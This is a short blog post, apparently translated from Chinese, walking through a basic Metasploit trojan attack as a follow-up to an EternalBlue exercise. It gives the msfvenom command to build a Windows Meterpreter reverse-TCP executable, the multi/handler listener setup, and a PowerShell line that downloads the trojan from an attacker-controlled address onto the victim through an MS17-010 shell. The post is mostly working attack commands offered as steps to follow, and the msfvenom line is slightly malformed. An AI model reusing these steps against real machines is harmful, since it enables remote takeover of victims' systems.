← Back to all posts
WEB Vulnerability Reproduction and Analysis1 min read

Basic Use of an MSF Trojan

After trying EternalBlue, I saw someone using a Trojan, so I am adding the remaining steps. The environment is the same as in the previous article.

#MSF Trojan
Read in Chinese→

I just tried EternalBlue and saw someone using a Trojan, so I am adding the remaining steps.
The environment is the same as in the previous article.

  1. First, use the msfvenom module to generate an .exe Trojan file
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.77.0.109 lport=4443f exe >/root/1.exe

1.exe is the Trojan. Use any available method to run it on the victim machine.

![Enter image description here](/images/2019060616093520.png 2. Enter msfconsole to launch Metasploit
3. Enter the handler module

use exploit/multi/handler
  1. Configure the reverse payload
set payload windows/meterpreter/reverse_tcp
  1. Set the listening IP address and port
set lhost 10.77.0.109
set lport 4443
要与木马一致
  1. Run it. ![Enter image description here](/images/20190606161629689.png The Kali side is now ready and waiting for the target to connect.

Run the 1.exe Trojan on the Target Host

Use the previous MS17-010 exploit to obtain a shell directly.

powershell (new-object System.Net.WebClient).DownloadFile( 'http://10.77.0.100/1.exe','c:\1.exe')

![Enter image description here](/images/20190606164405347.png Connection established successfully.

I’ll write about the follow-up later.